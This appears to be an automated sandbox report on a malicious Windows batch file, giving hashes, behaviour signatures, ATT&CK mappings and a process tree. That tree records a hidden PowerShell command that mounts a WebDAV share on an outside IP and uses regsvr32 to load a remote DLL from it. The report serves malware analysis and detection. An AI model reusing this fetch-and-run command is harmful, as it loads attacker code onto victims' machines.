0c916f7545af344fdd49bb50118bee229ad257824ef00b3b73a104fa90f1212c

Analysis

max time kernel
148s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
21/07/2024, 11:40

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General

Target

13109245381669722691.bat
Size

17KB
MD5

2b43745a3ed8c0a6441ffb6cce1ddcc3
SHA1

6fb202a0565926661ba6c377bcb70eb4f0e734d4
SHA256

0c916f7545af344fdd49bb50118bee229ad257824ef00b3b73a104fa90f1212c
SHA512

77de58c1af0fe5f9e9d60c9f7ae5ee5f9a637d04ec31b20dd9b28be3f5621c14b0731416ee9de9ad92762822ca2ea8e911897200e0bcefc57d3c149f57622bf3
SSDEEP

384:jImFvDKeMTO+mh85d8X22R7x5Rp0ByzUaKzXh1Jox+T578KGe3nllzbCCM:jImFv2eMVld8G8xfp0ByzDKzXzJoxg52

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2732	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-384068567-2943195810-3631207890-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2732	powershell.exe
2732	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2732	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
4980	wordpad.exe
4980	wordpad.exe
4980	wordpad.exe
4980	wordpad.exe
4980	wordpad.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1692 wrote to memory of 4980	1692	cmd.exe	85
PID 1692 wrote to memory of 4980	1692	cmd.exe	85
PID 1692 wrote to memory of 2732	1692	cmd.exe	87
PID 1692 wrote to memory of 2732	1692	cmd.exe	87
PID 2732 wrote to memory of 2712	2732	powershell.exe	89
PID 2732 wrote to memory of 2712	2732	powershell.exe	89
PID 2732 wrote to memory of 4688	2732	powershell.exe	90
PID 2732 wrote to memory of 4688	2732	powershell.exe	90

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\13109245381669722691.bat"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1692
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:4980
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\62473164120196.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2732
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:2712
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\62473164120196.dll
    3⤵
    PID:4688

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:3352

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1ay2djlk.unc.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2732-9-0x0000022B61300000-0x0000022B61322000-memory.dmp

Filesize
136KB

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